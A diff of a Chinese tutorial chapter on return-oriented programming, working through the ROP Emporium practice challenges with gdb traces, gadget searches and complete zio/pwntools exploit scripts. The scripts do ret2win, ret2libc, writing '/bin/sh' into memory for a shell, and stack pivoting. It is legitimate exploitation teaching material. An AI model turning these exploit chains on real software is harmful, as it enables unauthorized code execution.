Programming,缩写:ROP)是一种高级的内存攻击技术,该技术允许攻击者在现代操作系统的各种通用防御下执行代码,如内存不可执行和代码签名等。这类攻击往往利用操作堆栈调用时的程序漏洞,通常是缓冲区溢出。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),每一段 gadget 通常以 return 指令(`ret`,机器码为`c3`)结束,并位于共享库代码中的子程序中。通过执行这些指令序列,也就控制了程序的执行。 `ret` 指令相当于 `pop eip`。即,首先将 `esp` 指向的 4 字节内容读取并赋值给 `eip`,然后 `esp` 加上 4 字节指向栈的下一个位置。如果当前执行的指令序列仍然以 `ret` 指令结束,则这个过程将重复, `esp` 再次增加并且执行下一个指令序列。 -#### 寻找 gadgets +### 寻找 gadgets + 1. 在程序中寻找所有的 c3(ret) 字节 2. 向前搜索,看前面的字节是否包含一个有效指令,这里可以指定最大搜索字节数,以获得不同长度的 gadgets 3. 记录下我们找到的所有有效指令序列 -理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 http://ropshell.com/。 +理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 。 + +### 常用的 gadgets -#### 常用的 gadgets 对于 gadgets 能做的事情,基本上只要你敢想,它就敢执行。下面简单介绍几种用法: + - 保存栈数据到寄存器 - 将栈顶的数据抛出并保存到寄存器中,然后跳转到新的栈顶地址。所以当返回地址被一个 gadgets 的地址覆盖,程序将在返回后执行该指令序列。 - 如:`pop eax; ret` @@ -54,20 +57,22 @@ - 这些 gadgets 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot 时我们需要这样的指令来转移栈帧。 - 如:`leave; ret`, `pop ebp; ret` - ## ROP Emporium + [ROP Emporium](https://ropemporium.com) 提供了一系列用于学习 ROP 的挑战,每一个挑战都介绍了一个知识,难度也逐渐增加,是循序渐进学习 ROP 的好资料。ROP Emporium 还有个特点是它专注于 ROP,所有挑战都有相同的漏洞点,不同的只是 ROP 链构造的不同,所以不涉及其他的漏洞利用和逆向的内容。每个挑战都包含了 32 位和 64 位的程序,通过对比能帮助我们理解 ROP 链在不同体系结构下的差异,例如参数的传递等。这篇文章我们就从这些挑战中来学习吧。 这些挑战都包含一个 `flag.txt` 的文件,我们的目标就是通过控制程序执行,来打印出文件中的内容。当然你也可以尝试获得 shell。 [下载文件](../src/others/3.1.4_rop/rop_emporium.bin) -#### ret2win32 +### ret2win32 + 通常情况下,对于一个有缓冲区溢出的程序,我们通常先输入一定数量的字符填满缓冲区,然后是精心构造的 ROP 链,通过覆盖堆栈上保存的返回地址来实现函数跳转(关于缓冲区溢出请查看上一章 3.1.3栈溢出)。 第一个挑战我会尽量详细一点,因为所有挑战程序都有相似的结构,缓冲区大小都一样,我们看一下漏洞函数: -``` -gdb-peda$ disassemble pwnme + +```text +gdb-peda$ disassemble pwnme Dump of assembler code for function pwnme: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp @@ -101,7 +106,7 @@ Dump of assembler code for function pwnme: 0x08048653 <+93>: add esp,0x10 0x08048656 <+96>: nop 0x08048657 <+97>: leave - 0x08048658 <+98>: ret + 0x08048658 <+98>: ret End of assembler dump. gdb-peda$ disassemble ret2win Dump of assembler code for function ret2win: @@ -118,15 +123,17 @@ Dump of assembler code for function ret2win: 0x0804867c <+35>: add esp,0x10 0x0804867f <+38>: nop 0x08048680 <+39>: leave - 0x08048681 <+40>: ret + 0x08048681 <+40>: ret End of assembler dump. ``` + 函数 `pwnme()` 是存在缓冲区溢出的函数,它调用 `fgets()` 读取任意数据,但缓冲区的大小只有 40 字节(`0x0804864a <+84>: lea eax,[ebp-0x28]`,0x28=40),当输入大于 40 字节的数据时,就可以覆盖掉调用函数的 ebp 和返回地址: -``` + +```text gdb-peda$ pattern_create 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r -Starting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32 +Starting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32 ret2win by ROP Emporium 32bits @@ -139,11 +146,11 @@ You there madam, may I have your input please? And don't worry about null bytes, Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") -EBX: 0x0 +EBX: 0x0 ECX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") -EDX: 0xf7f90860 --> 0x0 -ESI: 0xf7f8ee28 --> 0x1d1d30 -EDI: 0x0 +EDX: 0xf7f90860 --> 0x0 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0x0 EBP: 0x41304141 ('AA0A') ESP: 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('') EIP: 0x41414641 ('AFAA') @@ -152,12 +159,12 @@ EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('') -0004| 0xffffd5f4 --> 0xffffd610 --> 0x1 -0008| 0xffffd5f8 --> 0x0 +0004| 0xffffd5f4 --> 0xffffd610 --> 0x1 +0008| 0xffffd5f8 --> 0x0 0012| 0xffffd5fc --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10) -0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30 -0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30 -0024| 0xffffd608 --> 0x0 +0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30 +0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30 +0024| 0xffffd608 --> 0x0 0028| 0xffffd60c --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value @@ -168,31 +175,37 @@ gdb-peda$ pattern_offset $ebp gdb-peda$ pattern_offset $eip 1094796865 found at offset: 44 ``` + 缓冲区距离 ebp 和 eip 的偏移分别为 40 和 44,这就验证了我们的假设。 通过查看程序的逻辑,虽然我们知道 .text 段中存在函数 `ret2win()`,但在程序执行中并没有调用到它,我们要做的就是用该函数的地址覆盖返回地址,使程序跳转到该函数中,从而打印出 flag,我们称这一类型的 ROP 为 ret2text。 还有一件重要的事情是 checksec: -``` -gdb-peda$ checksec + +```text +gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial ``` + 这里开启了关闭了 PIE,所以 .text 的加载地址是不变的,可以直接使用 `ret2win()` 的地址 `0x08048659`。 payload 如下(注这篇文章中的paylaod我会使用多种方法来写,以展示各种工具的使用): -``` -$ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32 + +```text +$ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32 ... > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} ``` -#### ret2win +### ret2win + 现在是 64 位程序: -``` + +```text gdb-peda$ disassemble pwnme Dump of assembler code for function pwnme: 0x00000000004007b5 <+0>: push rbp @@ -217,9 +230,9 @@ Dump of assembler code for function pwnme: 0x0000000000400809 <+84>: call 0x400620 0x000000000040080e <+89>: nop 0x000000000040080f <+90>: leave - 0x0000000000400810 <+91>: ret + 0x0000000000400810 <+91>: ret End of assembler dump. -gdb-peda$ disassemble ret2win +gdb-peda$ disassemble ret2win Dump of assembler code for function ret2win: 0x0000000000400811 <+0>: push rbp 0x0000000000400812 <+1>: mov rbp,rsp @@ -230,15 +243,17 @@ Dump of assembler code for function ret2win: 0x0000000000400829 <+24>: call 0x4005e0 0x000000000040082e <+29>: nop 0x000000000040082f <+30>: pop rbp - 0x0000000000400830 <+31>: ret + 0x0000000000400830 <+31>: ret End of assembler dump. ``` + 首先与 32 位不同的是参数传递,64 位程序的前六个参数通过 RDI、RSI、RDX、RCX、R8 和 R9 传递。所以缓冲区大小参数通过 rdi 传递给 `fgets()`,大小为 32 字节。 而且由于 ret 的地址不存在,程序停在了 `=> 0x400810 : ret` 这一步,这是因为 64 位可以使用的内存地址不能大于 `0x00007fffffffffff`,否则就会抛出异常。 -``` + +```text gdb-peda$ r -Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win +Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win ret2win by ROP Emporium 64bits @@ -251,41 +266,41 @@ You there madam, may I have your input please? And don't worry about null bytes, Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") -RBX: 0x0 -RCX: 0x1f -RDX: 0x7ffff7dd4710 --> 0x0 +RBX: 0x0 +RCX: 0x1f +RDX: 0x7ffff7dd4710 --> 0x0 RSI: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") RDI: 0x7fffffffe401 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") RBP: 0x6141414541412941 ('A)AAEAAa') RSP: 0x7fffffffe428 ("AA0AAFAAb") RIP: 0x400810 (: ret) -R8 : 0x0 +R8 : 0x0 R9 : 0x7ffff7fb94c0 (0x00007ffff7fb94c0) R10: 0x602260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n") -R11: 0x246 +R11: 0x246 R12: 0x400650 (<_start>: xor ebp,ebp) -R13: 0x7fffffffe510 --> 0x1 -R14: 0x0 +R13: 0x7fffffffe510 --> 0x1 +R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400809 : call 0x400620 0x40080e : nop 0x40080f : leave -=> 0x400810 : ret +=> 0x400810 : ret 0x400811 : push rbp 0x400812 : mov rbp,rsp 0x400815 : mov edi,0x4009e0 0x40081a : mov eax,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe428 ("AA0AAFAAb") -0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000 +0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000 0016| 0x7fffffffe438 --> 0x7ffff7a41f6a (<__libc_start_main+234>: mov edi,eax) -0024| 0x7fffffffe440 --> 0x0 +0024| 0x7fffffffe440 --> 0x0 0032| 0x7fffffffe448 --> 0x7fffffffe518 --> 0x7fffffffe870 ("/home/firmy/Desktop/rop_emporium/ret2win/ret2win") -0040| 0x7fffffffe450 --> 0x100000000 +0040| 0x7fffffffe450 --> 0x100000000 0048| 0x7fffffffe458 --> 0x400746 (
: push rbp) -0056| 0x7fffffffe460 --> 0x0 +0056| 0x7fffffffe460 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV @@ -297,6 +312,7 @@ AA0AAFAAb found at offset: 40 ``` `re2win()` 的地址为 `0x0000000000400811`,payload 如下: + ```python from zio import * @@ -307,10 +323,12 @@ io.writeline(payload) io.read() ``` -#### split32 +### split32 + 这一题也是 ret2text,但这一次,我们有的是一个 `usefulFunction()` 函数: -``` -gdb-peda$ disassemble usefulFunction + +```text +gdb-peda$ disassemble usefulFunction Dump of assembler code for function usefulFunction: 0x08048649 <+0>: push ebp 0x0804864a <+1>: mov ebp,esp @@ -321,23 +339,27 @@ Dump of assembler code for function usefulFunction: 0x0804865c <+19>: add esp,0x10 0x0804865f <+22>: nop 0x08048660 <+23>: leave - 0x08048661 <+24>: ret + 0x08048661 <+24>: ret End of assembler dump. ``` + 它调用 `system()` 函数,而我们要做的是给它传递一个参数,执行该参数后可以打印出 flag。 使用 radare2 中的工具 rabin2 在 `.data` 段中搜索字符串: -``` -$ rabin2 -z split32 + +```text +$ rabin2 -z split32 ... vaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt ``` + 我们发现存在字符串 `/bin/cat flag.txt`,这正是我们需要的,地址为 `0x0804a030`。 下面构造 payload,这里就有两种方法,一种是直接使用调用 `system()` 函数的地址 `0x08048657`,另一种是使用 `system()` 的 plt 地址 `0x8048430`,在前面的章节中我们已经知道了 plt 的延迟绑定机制(1.5.6动态链接),这里我们再回顾一下: 绑定前: -``` + +```text gdb-peda$ disassemble system Dump of assembler code for function system@plt: 0x08048430 <+0>: jmp DWORD PTR ds:0x804a018 @@ -347,8 +369,10 @@ gdb-peda$ x/5x 0x804a018 0x804a018: 0x08048436 0x08048446 0x08048456 0x08048466 0x804a028: 0x00000000 ``` + 绑定后: -``` + +```text gdb-peda$ disassemble system Dump of assembler code for function system: 0xf7df9c50 <+0>: sub esp,0xc @@ -366,20 +390,23 @@ Dump of assembler code for function system: 0xf7df9c7d <+45>: sete al 0xf7df9c80 <+48>: add esp,0xc 0xf7df9c83 <+51>: movzx eax,al - 0xf7df9c86 <+54>: ret + 0xf7df9c86 <+54>: ret End of assembler dump. gdb-peda$ x/5x 0x08048430 0x8048430 : 0xa01825ff 0x18680804 0xe9000000 0xffffffb0 0x8048440 <__libc_start_main@plt>: 0xa01c25ff ``` + 其实这里讲 plt 不是很确切,因为 system 使用太频繁,在我们使用它之前,它就已经绑定了,在后面的挑战中我们会遇到没有绑定的情况。 两种 payload 如下: -``` -$ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 + +```text +$ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 ... > ROPE{a_placeholder_32byte_flag!} ``` + ```python from zio import * @@ -392,18 +419,21 @@ io = zio('./split32') io.writeline(payload) io.read() ``` + 注意 "BBBB" 是新的返回地址,如果函数 ret,就会执行 "BBBB" 处的指令,通常这里会放置一些 `pop;pop;ret` 之类的指令地址,以平衡堆栈。从 system() 函数中也能看出来,它现将 esp 减去 0xc,再取地址 esp+0x10 处的指令,也就是 "BBBB" 的后一个,即字符串的地址。因为 `system()` 是 libc 中的函数,所以这种方法称作 ret2libc。 -#### split -``` +### split + +```text $ rabin2 -z split ... vaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt ``` + 字符串地址在 `0x00601060`。 -``` -gdb-peda$ disassemble usefulFunction +```text +gdb-peda$ disassemble usefulFunction Dump of assembler code for function usefulFunction: 0x0000000000400807 <+0>: push rbp 0x0000000000400808 <+1>: mov rbp,rsp @@ -411,27 +441,31 @@ Dump of assembler code for function usefulFunction: 0x0000000000400810 <+9>: call 0x4005e0 0x0000000000400815 <+14>: nop 0x0000000000400816 <+15>: pop rbp - 0x0000000000400817 <+16>: ret + 0x0000000000400817 <+16>: ret End of assembler dump. ``` + 64 位程序的第一个参数通过 edi 传递,所以我们需要再调用一个 gadgets 来将字符串的地址存进 edi。 我们先找到需要的 gadgets: -``` + +```text gdb-peda$ ropsearch "pop rdi; ret" Searching for ROP gadget: 'pop rdi; ret' in: binary ranges 0x00400883 : (b'5fc3') pop rdi; ret ``` 下面是 payload: -``` -$ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split + +```text +$ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split ... > ROPE{a_placeholder_32byte_flag!} ``` 那我们是否还可以用前面那种方法调用 `system()` 的 plt 地址 `0x4005e0` 呢: -``` + +```text gdb-peda$ disassemble system Dump of assembler code for function system: 0x00007ffff7a63010 <+0>: test rdi,rdi @@ -445,10 +479,12 @@ Dump of assembler code for function system: 0x00007ffff7a63032 <+34>: sete al 0x00007ffff7a63035 <+37>: add rsp,0x8 0x00007ffff7a63039 <+41>: movzx eax,al - 0x00007ffff7a6303c <+44>: ret + 0x00007ffff7a6303c <+44>: ret End of assembler dump. ``` + 依然可以,因为参数的传递没有用到栈,我们只需把地址直接更改就可以了: + ```python from zio import * @@ -462,9 +498,11 @@ io.writeline(payload) io.read() ``` -#### callme32 +### callme32 + 这里我们要接触真正的 plt 了,根据题目提示,callme32 从共享库 libcallme32.so 中导入三个特殊的函数: -``` + +```text $ rabin2 -i callme32 | grep callme ordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three ordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one @@ -474,19 +512,22 @@ ordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two 我们要做的是依次调用 `callme_one()`、`callme_two()` 和 `callme_three()`,并且每个函数都要传入参数 `1`、`2`、`3`。通过调试我们能够知道函数逻辑,`callme_one` 用于读入加密后的 flag,然后依次调用 `callme_two` 和 `callme_three` 进行解密。 由于函数参数是放在栈上的,为了平衡堆栈,我们需要一个 `pop;pop;pop;ret` 的 gadgets: -``` + +```text $ objdump -d callme32 | grep -A 3 pop ... 80488a8: 5b pop %ebx 80488a9: 5e pop %esi 80488aa: 5f pop %edi 80488ab: 5d pop %ebp - 80488ac: c3 ret + 80488ac: c3 ret 80488ad: 8d 76 00 lea 0x0(%esi),%esi ... ``` + 或者是 `add esp, 8; pop; ret`,反正只要能平衡,都可以: -``` + +```text gdb-peda$ ropsearch "add esp, 8" Searching for ROP gadget: 'add esp, 8' in: binary ranges 0x08048576 : (b'83c4085bc3') add esp,0x8; pop ebx; ret @@ -494,6 +535,7 @@ Searching for ROP gadget: 'add esp, 8' in: binary ranges ``` 构造 payload 如下: + ```python from zio import * @@ -516,22 +558,25 @@ io.writeline(payload) io.read() ``` -#### callme +### callme + 64 位程序不需要平衡堆栈了,只要将参数按顺序依次放进寄存器中就可以了。 -``` +```text $ rabin2 -i callme | grep callme ordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three ordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one ordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two ``` -``` + +```text gdb-peda$ ropsearch "pop rdi; pop rsi" Searching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges 0x00401ab0 : (b'5f5e5ac3') pop rdi; pop rsi; pop rdx; ret ``` payload 如下: + ```python from zio import * @@ -554,21 +599,25 @@ io.writeline(payload) io.read() ``` -#### write432 +### write432 + 这一次,我们已经不能在程序中找到可以执行的语句了,但我们可以利用 gadgets 将 `/bin/sh` 写入到目标进程的虚拟内存空间中,如 `.data` 段中,再调用 system() 执行它,从而拿到 shell。要认识到一个重要的点是,ROP 只是一种任意代码执行的形式,只要我们有创意,就可以利用它来执行诸如内存读写等操作。 这种方法虽然好用,但还是要考虑我们写入地址的读写和执行权限,以及它能提供的空间是多少,我们写入的内容是否会影响到程序执行等问题。如我们接下来想把字符串写入 `.data` 段,我们看一下它的权限和大小等信息: -``` + +```text $ readelf -S write432 [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4 [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4 ``` + 可以看到 `.data` 具有 `WA`,即写入(write)和分配(alloc)的权利,而 `.rodata` 就不能写入。 使用工具 ropgadget 可以很方便地找到我们需要的 gadgets: -``` + +```text $ ropgadget --binary write432 --only "mov|pop|ret" ... 0x08048670 : mov dword ptr [edi], ebp ; ret @@ -576,6 +625,7 @@ $ ropgadget --binary write432 --only "mov|pop|ret" ``` 另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符(`\x00`,`\x0a`等)之类的问题,比如这里 `/bin/sh` 只有七个字节,我们可以使用 `/bin/sh\00` 或者 `/bin//sh`,构造 payload 如下: + ```python from zio import * @@ -603,8 +653,9 @@ io = zio('./write432') io.writeline(payload) io.interact() ``` -``` -$ python2 run.py + +```text +$ python2 run.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(/binp,/shp0BBBB(� write4 by ROP Emporium 32bits @@ -614,15 +665,18 @@ Go ahead and give me the string already! ROPE{a_placeholder_32byte_flag!} ``` -#### write4 +### write4 + 64 位程序就可以一次性写入了。 -``` + +```text $ ropgadget --binary write4 --only "mov|pop|ret" ... 0x0000000000400820 : mov qword ptr [r14], r15 ; ret 0x0000000000400890 : pop r14 ; pop r15 ; ret 0x0000000000400893 : pop rdi ; ret ``` + ```python from pwn import * @@ -647,9 +701,11 @@ io.sendline(payload) io.interactive() ``` -#### badchars32 +### badchars32 + 在这个挑战中,我们依然要将 `/bin/sh` 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 `checkBadchars()`: -``` + +```text gdb-peda$ disassemble checkBadchars Dump of assembler code for function checkBadchars: 0x08048801 <+0>: push ebp @@ -693,13 +749,15 @@ Dump of assembler code for function checkBadchars: 0x08048882 <+129>: jb 0x804883e 0x08048884 <+131>: nop 0x08048885 <+132>: leave - 0x08048886 <+133>: ret + 0x08048886 <+133>: ret End of assembler dump. ``` + 很明显,地址 `0x08048807` 到 `0x08048823` 的字符就是所谓的敏感字符。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。 找到 gadgets: -``` + +```text $ ropgadget --binary badchars32 --only "mov|pop|ret|xor" ... 0x08048893 : mov dword ptr [edi], esi ; ret @@ -709,6 +767,7 @@ $ ropgadget --binary badchars32 --only "mov|pop|ret|xor" ``` 整个利用过程就是写入前编码,使用前解码,下面是 payload: + ```python from zio import * @@ -763,9 +822,11 @@ io.writeline(payload) io.interact() ``` -#### badchars +### badchars + 64 位程序也是一样的,注意参数传递就好了。 -``` + +```text $ ropgadget --binary badchars --only "mov|pop|ret|xor" ... 0x0000000000400b34 : mov qword ptr [r13], r12 ; ret @@ -774,6 +835,7 @@ $ ropgadget --binary badchars --only "mov|pop|ret|xor" 0x0000000000400b30 : xor byte ptr [r15], r14b ; ret 0x0000000000400b39 : pop rdi ; ret ``` + ```python from pwn import * @@ -822,9 +884,11 @@ io.sendline(payload) io.interactive() ``` -#### fluff32 +### fluff32 + 这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 `mov [reg], reg` 这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。 -``` + +```text $ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg" ... 0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret @@ -833,7 +897,9 @@ $ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg" 0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret 0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret ``` + 我们看到一个这样的 `mov dword ptr [ecx], edx ;`,可以想到我们将地址放进 `ecx`,将数据放进 `edx`,从而将数据写入到地址中。payload 如下: + ```python from zio import * @@ -856,7 +922,7 @@ def write_data(data, addr): payload += "BBBB" payload += l32(xchg_edx_ecx) payload += "BBBB" - + # data -> edx payload += l32(xor_edx_edx) payload += "BBBB" @@ -864,7 +930,7 @@ def write_data(data, addr): payload += data payload += l32(xor_edx_ebx) payload += "BBBB" - + # edx -> [ecx] payload += l32(mov_ecx_edx) payload += "BBBB" @@ -886,9 +952,11 @@ io.writeline(payload) io.interact() ``` -#### fluff +### fluff + 提示:在使用 ropgadget 搜索时加上参数 `--depth` 可以得到更大长度的 gadgets。 -``` + +```text $ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20 ... 0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret @@ -897,6 +965,7 @@ $ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20 0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret 0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret ``` + ```python from pwn import * @@ -919,7 +988,7 @@ def write_data(data, addr): payload += "BBBBBBBB" payload += p64(xchg_r11_r10) payload += "BBBBBBBB" - + # data -> r11 payload += p64(xor_r11_r11) payload += "BBBBBBBB" @@ -927,12 +996,12 @@ def write_data(data, addr): payload += data payload += p64(xor_r11_r12) payload += "BBBBBBBB" - + # r11 -> [r10] payload += p64(mov_r10_r11) payload += "BBBBBBBB"*2 payload += p64(0) - + return payload payload = "A"*40 @@ -945,7 +1014,8 @@ io.sendline(payload) io.interactive() ``` -#### pivot32 +### pivot32 + 这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。 通过分析我们知道该程序从动态库 `libpivot32.so` 中导入了函数 `foothold_function()`,但在程序逻辑中并没有调用,而在 `libpivot32.so` 中还有我们需要的函数 `ret2win()`。 @@ -953,34 +1023,43 @@ io.interactive() 现在我们知道了可以泄露的函数 `foothold_function()`,那么怎么泄露呢。前面我们已经简单介绍了延时绑定技术,当我们在调用如 `func@plt()` 的时候,系统才会将真正的 `func()` 函数地址写入到 GOT 表的 `func.got.plt` 中,然后 `func@plt()` 根据 `func.got.plt` 跳转到真正的 `func()` 函数上去。 最后是该挑战最重要的部分,程序运行我们有两次输入,第一次输入被放在一个由 `malloc()` 函数分配的堆上,当然为了降低难度,程序特地将该地址打印了出来,第二次的输入则被放在一个大小限制为 13 字节的栈上,这个空间不足以让我们执行很多东西,所以需要运用 stack pivot,即通过覆盖调用者的 ebp,将栈帧转移到另一个地方,同时控制 eip,即可改变程序的执行流,通常的 payload(这里称为副payload) 结构如下: -``` + +```text buffer padding | fake ebp | leave;ret addr | ``` + 这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。 另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp,即 主payload 地址减 4 的地方,当然你也可以在构造 主payload 时在前面加 4 个字节的 padding 作为 ebp: -``` + +```text ebp | payload ``` 我们知道一个函数的入口点通常是: -``` + +```text push ebp mov ebp,esp ``` + leave 指令相当于: -``` + +```text mov esp,ebp pop ebp ``` + ret 指令为相当于: -``` + +```text pop eip ``` 如果遇到一种情况,我们可以控制的栈溢出的字节数比较小,不能完成全部的工作,同时程序开启了 PIE 或者系统开启了 ASLR,但同时在程序的另一个地方有足够的空间可以写入 payload,并且可执行,那么我们就将栈转移到那个地方去。 完整的 exp 如下: + ```python from pwn import * @@ -1029,19 +1108,20 @@ print io.recvall() ``` 这里我们在 gdb 中验证一下,在 pwnme() 函数的 leave 处下断点: -``` + +```text gdb-peda$ b *0x0804889f Breakpoint 1 at 0x804889f gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EBX: 0x0 +EBX: 0x0 ECX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EDX: 0xf7731860 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0xffe7ec68 --> 0xf755cf0c --> 0x0 +EDX: 0xf7731860 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0xffe7ec68 --> 0xf755cf0c --> 0x0 ESP: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") EIP: 0x804889f (: leave) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -1050,7 +1130,7 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804889b : add esp,0x10 0x804889e : nop => 0x804889f : leave - 0x80488a0 : ret + 0x80488a0 : ret 0x80488a1 : push ebp 0x80488a2 : mov ebp,esp 0x80488a4 : sub esp,0x8 @@ -1076,19 +1156,21 @@ gdb-peda$ x/10w 0xf755cf0c 0xf755cf1c: 0x080488c4 0x08048571 0x000001f7 0x080488c7 0xf755cf2c: 0x080486a3 0x0000000a ``` + 执行第一次 leave;ret 之前,我们看到 EBP 指向 fake ebp,即 `0xf755cf0c`,fake ebp 指向 主payload 的 ebp,而在 fake ebp 后面是 leave;ret 的地址 `0x0804889f`,即返回地址。 执行第一次 leave: -``` + +```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EBX: 0x0 +EBX: 0x0 ECX: 0xffe7ec40 ('A' , "\f\317U\367\237\210\004\b\n") -EDX: 0xf7731860 --> 0x0 -ESI: 0xf772fe28 --> 0x1d1d30 -EDI: 0x0 -EBP: 0xf755cf0c --> 0x0 +EDX: 0xf7731860 --> 0x0 +ESI: 0xf772fe28 --> 0x1d1d30 +EDI: 0x0 +EBP: 0xf755cf0c --> 0x0 ESP: 0xffe7ec6c --> 0x804889f (: leave) EIP: 0x80488a0 (: ret) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) @@ -1096,38 +1178,40 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 0x804889b : add esp,0x10 0x804889e : nop 0x804889f : 